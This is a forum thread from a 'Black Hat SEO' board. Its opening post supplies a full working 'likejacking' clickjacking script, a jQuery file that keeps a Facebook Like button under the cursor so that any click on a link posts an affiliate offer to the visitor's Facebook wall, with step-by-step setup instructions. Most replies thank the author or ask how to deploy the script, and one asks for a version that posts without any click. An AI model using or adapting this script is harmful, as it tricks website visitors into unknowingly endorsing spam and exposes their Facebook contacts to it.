1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[Method] $$$ Post your offer on someones facebook anytime they click a link.

Discussion in 'Black Hat SEO' started by zacatictac, Mar 31, 2011.

  1. zacatictac

    zacatictac Power Member

    Joined:
    May 2, 2010
    Messages:
    584
    Likes Received:
    751
    Occupation:
    SEO
    Location:
    Metaverse
    I'm not going to go too crazy in depth with this, just a basic rundown. Basically using a "like jacking" technique you can have any offer you want post on the facebook wall of whoever clicks a link on your website.

    Change the headers of your webpage with the following:
    Code:
    <script src="http://code.jquery.com/jquery-1.5.js"></script>
    <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
    <script>window.DO_CLICKJACKING = 1</script>
    <script src="clickjacking.js"></script>
    Copy this to a text file and save it as "clickjacking.js" Then upload it to the root folder of your website:

    Code:
    var $J = jQuery.noConflict(); 
    
    // solve: images and floating divs
    function heightestChild(elem)
    {
    	var t=0;
    	var t_elem;
    	$J("*",elem).each(function () {
    	    if ( $J(this).outerHeight(true) > t ) {
    	        t_elem=$J(this);
    	        t=t_elem.outerHeight(true);
    	    }
    	});
    	// we care about the heighest
    	if (elem.outerHeight(true) > t)
    	{
    		t = elem.outerHeight(true);
    	}
    
    	//return elem.outerHeight(true);
    	return t+3; // hotfix
    }
    
    function highestOffsetTop(elem)
    {
    	var t=elem.offset().top;
    	var t_elem;
    	$J("*",elem).each(function () {
    	    if ( $J(this).offset().top < t ) {
    	        t_elem=$J(this);
    	        t=t_elem.offset().top;
    	    }
    	});
    	// we only care about the object that is most on top
    	if (elem.offset().top < t)
    	{
    		t = elem.offset().top;
    	}
    
    	//return elem.offset().top;
    	return t+3;
    }
    
    // 57 19 63
    
    $J(document).ready(function(){
    	if (window.DO_CLICKJACKING) { // wrap up EVERYTHING
    
    	/*$J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');*/
    	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');
    
    	var elementWidth = 0;
    	var elementHeight = 0;
    	var theElement = '';
    	var likeDone = 0;
    
    	if ($J.cookie("clickjacking_"+escape(document.URL)) == 1)
    	{
    		likeDone = 1;
    	}
    
    	// fired when the user clicks a link (likes our page) -> clickjacking is done
    	FB.Event.subscribe('edge.create', function(response) {
    		  $J("#clickjacking").css("display", "none");
    		  likeDone = 1;
    		  $J.cookie("clickjacking_"+escape(document.URL), "1");
    		  // let the user actually go to the link he clicked.
    		  window.location.href = theElement.attr('href');
    	});
    
    $J(document).mousemove(function(event) {
    		if (theElement != '')
    		{
    			if (event.pageY < (highestOffsetTop(theElement)-4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width()) )
    			{
    				//alert(event.pageY + " " + theElement.height() + " " + theElement.offset().top);
    			/*	$J("#log").append("<p>mouse off the element LEFT " + event.pageX  + " " + theElement.offset().left + " " + (theElement.offset().left + theElement.width()) +  "</p>");
    				$J("#log").append("<p>mouse off the element TOP " + event.pageY  + " " + highestOffsetTop(theElement) + " " + (highestOffsetTop(theElement) + heightestChild(theElement,true)) +  "</p>");*/
    				theElement = ''; // the mouse is off theElement
    				$J("#clickjacking").css("display", "none");
    			}
    			else
    			{
    				if ($J.browser.msie) {
    					$J("#clickjacking").css("top",(event.pageY-15)+"px");
    					$J("#clickjacking").css("left",(event.pageX-20)+"px");
    				}
    				else
    				{
    					$J("#clickjacking").css("top",(event.pageY-5)+"px");
    					$J("#clickjacking").css("left",(event.pageX-20)+"px");
    				}
    			}
    		}
    });
    
    $J(document).delegate("a","mouseenter", function (){
    	// register mouse is inside element
    	if (likeDone == 0)
    	{
    		theElement = $J(this);
    		$J("#clickjacking").css("display", "block");
    	}
    }); 
    
    } // window.DO_CLICKJACKING
    });
    
    /**
     * Cookie plugin
     *
     * Copyright (c) 2006 Klaus Hartl (stilbuero.de)
     * Dual licensed under the MIT and GPL licenses:
     * http://www.opensource.org/licenses/mit-license.php
     * http://www.gnu.org/licenses/gpl.html
     *
     */
    
    /**
     * Create a cookie with the given name and value and other optional parameters.
     *
     * @example $.cookie('the_cookie', 'the_value');
     * @desc Set the value of a cookie.
     * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });
     * @desc Create a cookie with all available options.
     * @example $.cookie('the_cookie', 'the_value');
     * @desc Create a session cookie.
     * @example $.cookie('the_cookie', null);
     * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
     *       used when the cookie was set.
     *
     * @param String name The name of the cookie.
     * @param String value The value of the cookie.
     * @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
     * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
     *                             If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
     *                             If set to null or omitted, the cookie will be a session cookie and will not be retained
     *                             when the the browser exits.
     * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
     * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
     * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
     *                        require a secure protocol (like HTTPS).
     * @type undefined
     *
     * @name $.cookie
     * @cat Plugins/Cookie
     * @author Klaus Hartl/klaus.hartl@stilbuero.de
     */
    
    /**
     * Get the value of a cookie with the given name.
     *
     * @example $.cookie('the_cookie');
     * @desc Get the value of a cookie.
     *
     * @param String name The name of the cookie.
     * @return The value of the cookie.
     * @type String
     *
     * @name $.cookie
     * @cat Plugins/Cookie
     * @author Klaus Hartl/klaus.hartl@stilbuero.de
     */
    jQuery.cookie = function(name, value, options) {
        if (typeof value != 'undefined') { // name and value given, set cookie
            options = options || {};
            if (value === null) {
                value = '';
                options.expires = -1;
            }
            var expires = '';
            if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
                var date;
                if (typeof options.expires == 'number') {
                    date = new Date();
                    date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
                } else {
                    date = options.expires;
                }
                expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
            }
            // CAUTION: Needed to parenthesize options.path and options.domain
            // in the following expressions, otherwise they evaluate to undefined
            // in the packed version for some reason...
            var path = options.path ? '; path=' + (options.path) : '';
            var domain = options.domain ? '; domain=' + (options.domain) : '';
            var secure = options.secure ? '; secure' : '';
            document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
        } else { // only name given, get cookie
            var cookieValue = null;
            if (document.cookie && document.cookie != '') {
                var cookies = document.cookie.split(';');
                for (var i = 0; i < cookies.length; i++) {
                    var cookie = jQuery.trim(cookies[i]);
                    // Does this cookie string begin with the name we want?
                    if (cookie.substring(0, name.length + 1) == (name + '=')) {
                        cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                        break;
                    }
                }
            }
            return cookieValue;
        }
    };
    

    Then go to http://developers.facebook.com/docs/reference/plugins/like/

    Go to where it says "Get open Graph tags".

    Put in your offer title, Url, Image, etc.

    Click "get tags"

    Paste the generated code into the header of your website as well.



    Your done. Now when anyone who is logged into face book clicks any link on your site, your offer will appear on their wall for all their friends to see. Enjoy!
     
    • Thanks Thanks x 5
  2. janetbuchler

    janetbuchler Newbie

    Joined:
    Oct 25, 2010
    Messages:
    15
    Likes Received:
    0
    thx 4 sharing
     
  3. zacatictac

    zacatictac Power Member

    Joined:
    May 2, 2010
    Messages:
    584
    Likes Received:
    751
    Occupation:
    SEO
    Location:
    Metaverse
    Yea no problem. Hope this helps you out.

    BTW. IF you just want your website to be liked, and not another offer....just skip the Open Graph Tags part.
     
  4. adhept

    adhept Junior Member

    Joined:
    Apr 15, 2009
    Messages:
    102
    Likes Received:
    30
    Great share! Should be able to find a use for this.
     
  5. Dropdown

    Dropdown Regular Member

    Joined:
    Mar 7, 2010
    Messages:
    465
    Likes Received:
    223
    Location:
    the Netherlands
    Will facebook blacklist this as fast as they would normally blacklist websites that have this on their own websites? (So would FB blacklist the offer?)
     
  6. albaniax

    albaniax Elite Member

    Joined:
    Aug 5, 2008
    Messages:
    1,586
    Likes Received:
    823
    Location:
    GER - ALB
    Can I upload the clickjacking.js to another server?
     
  7. zacatictac

    zacatictac Power Member

    Joined:
    May 2, 2010
    Messages:
    584
    Likes Received:
    751
    Occupation:
    SEO
    Location:
    Metaverse
    I would assume so. At that point just switch it out with another offer and keep going. I just came up with this a few days ago so I havn't thoroughly tested it yet.

    Needs to be in the root folder of your Websites webserver. I didnt write the code so I'm not sure if there is a way to tweak this or not.
     
  8. albaniax

    albaniax Elite Member

    Joined:
    Aug 5, 2008
    Messages:
    1,586
    Likes Received:
    823
    Location:
    GER - ALB
    Ahhh just changing the src= to the correct http-path will make it ;)
    Didn't look at the script before.

    Thx man this helps me ;)
     
    • Thanks Thanks x 1
  9. TheKingGeek

    TheKingGeek Senior Member

    Joined:
    Mar 24, 2011
    Messages:
    972
    Likes Received:
    976
    I dont get it,can somebody please explain how could I see this up for a cpa offer link,or does it have to be a website? thanks in advance.
     
  10. hollaholla

    hollaholla Newbie

    Joined:
    Jan 14, 2009
    Messages:
    38
    Likes Received:
    13
    Location:
    London, E8
    we have the like button on each item on our ecom sites. they click, it posts the image and description of the item with a link to the item on their page. how does this differ from that?
     
  11. wallaceIII

    wallaceIII Newbie

    Joined:
    Aug 31, 2010
    Messages:
    14
    Likes Received:
    3
    Location:
    London
    thx man, I'm going to try it. :D
     
  12. zacatictac

    zacatictac Power Member

    Joined:
    May 2, 2010
    Messages:
    584
    Likes Received:
    751
    Occupation:
    SEO
    Location:
    Metaverse

    Um because that doesn't necessarily mean that everyone is going to click the like button. This is a forced like method. Its a hidden like button so ANYONE who clicks ANY link on your website automatically likes your website/offer/whatever.
     
  13. plumbum416

    plumbum416 Registered Member

    Joined:
    Mar 17, 2011
    Messages:
    93
    Likes Received:
    16
    Well at least if the clicking person is logged in at facebook, but I think most users won't log out so it works quite well
     
  14. zacatictac

    zacatictac Power Member

    Joined:
    May 2, 2010
    Messages:
    584
    Likes Received:
    751
    Occupation:
    SEO
    Location:
    Metaverse

    You must own a website for this to work. Put your cpa offer link in the headers area following the link i provided.
     
  15. sniper272

    sniper272 Regular Member

    Joined:
    Sep 18, 2008
    Messages:
    397
    Likes Received:
    77
    has anyone tested this? doe it actually work?
     
  16. csebastian

    csebastian Regular Member

    Joined:
    Oct 9, 2008
    Messages:
    300
    Likes Received:
    367
    Occupation:
    Doing bad things
    Location:
    Deep, deep in your mind
    What about confirm button ? when you like something ?
     
  17. albaniax

    albaniax Elite Member

    Joined:
    Aug 5, 2008
    Messages:
    1,586
    Likes Received:
    823
    Location:
    GER - ALB
    I guess one doesn't needs that, correct me if I'm wrong ladies.
    I'm going to set this up tomorrow and report back. Could be a nice amount of likes from 1.500 uniques a day ;)
     
  18. csebastian

    csebastian Regular Member

    Joined:
    Oct 9, 2008
    Messages:
    300
    Likes Received:
    367
    Occupation:
    Doing bad things
    Location:
    Deep, deep in your mind
    IF you auto promote your own website instead of the offer then you get confirm , is good tho for offers ,

    correct me if i`m wrong
     
  19. datrends

    datrends Registered Member

    Joined:
    Nov 11, 2008
    Messages:
    56
    Likes Received:
    2
    Occupation:
    blackhatter
    Location:
    behind the screen
    Hi ...
    Can you make a script that when visitor VISIT your web, then the OFFER or something we promote AUTOMICALLY post on their FB wall ? So, we dont need a FB Fan page and so they dont need to click anything. Just simple, they visit our web and our offer posted on their wall.
     
  20. stradivari

    stradivari Junior Member

    Joined:
    Mar 25, 2010
    Messages:
    127
    Likes Received:
    28
    Location:
    I don't remember
    Most people are logged onto Facebook 24/7 and this is actually a pretty good solution. I used another script but must give this variation a go. :chicken_w